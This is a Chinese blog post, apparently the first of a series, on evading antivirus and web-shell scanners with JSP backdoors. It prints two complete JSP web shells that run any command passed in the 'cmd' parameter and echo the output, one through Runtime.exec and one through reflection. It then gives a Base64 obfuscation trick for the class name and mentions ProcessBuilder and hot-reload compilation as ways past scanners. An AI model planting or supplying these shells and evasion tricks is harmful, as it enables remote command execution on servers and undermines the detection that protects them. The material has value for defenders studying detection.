[Anti-AV] 从攻防对抗辩证性分析jsp免杀(一)
从攻防对抗辩证性分析jsp免杀
从最早的最朴素木马
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@page language="java" pageEncoding="utf-8" %>
<html>
<body>
<h2>Hello Aur0ra!</h2>
</body>
</html>
<%
//获取cmd参数
String cmd = request.getParameter("cmd");
//执行命令
Process process = Runtime.getRuntime().exec(cmd);
//回显
InputStream in = process.getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(in));
String tmp = null;
while((tmp = bufferedReader.readLine())!=null){
response.getWriter().println(tmp);
}
%>
上面是一个最简单的木马,最初的时候采用的防御姿态就是直接禁止执行了Runtime,这算是第一次防御
Runtime被过滤后,geeker们又会想有没有什么方法可以替代Runtime呢?
于是就直接跟踪Runtime的底层实现,发现是借调了ProcessBuilder的方法,那我们就可以直接采用ProcessBuilder的方法执行
这样也是可以成功执行的,而后又禁止了ProcessBuilder。而后,Geekers又找了Process等来替代,作为防御方,自然得跟进禁止。
最终那几个常用的命令执行类都被ban了。但Geekers怎么甘心,既然你不让我实例化,那我就直接开始反射大法。(这样算是第二次的攻防了)
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.lang.reflect.Method" %>
<%@page language="java" pageEncoding="utf-8" %>
<html>
<body>
<h2>Hello Aur0ra!</h2>
</body>
</html>
<%
//获取cmd参数
String cmd = request.getParameter("cmd");
Class<?> clazz = Class.forName("java.lang.Runtime");
Method getRuntime = clazz.getMethod("getRuntime");
Runtime runtime = (Runtime)getRuntime.invoke(null);
Method exec = clazz.getMethod("exec", String.class);
Process process = (Process) exec.invoke(runtime, cmd);
//回显
InputStream in = process.getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(in));
String tmp = null;
while((tmp = bufferedReader.readLine())!=null){
response.getWriter().println(tmp);
}
%>
反射就代表了类对象可以被字符串控制,为了避免关键字,上述字符串又可以进行编码的等奇奇怪怪的处理,从而绕过防御
例如将Runtime关键字进行编解码操作,降低查杀率
Class<?> clazz = Class.forName(new String(Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU=".getBytes(StandardCharsets.UTF_8))));
用常见的几种shell查杀工具,最多对index.jsp能够查出来Runtime类,把Runtime替换成ProcessBuilder就已经无法查杀了,更不用说利用反射生成的backdoor
动态编译加载
由于字符串的可变性,可以提高免杀,我们可以先将字符串写到一个临时java或者jsp中,当服务器端为热加载时,就可以成功getshell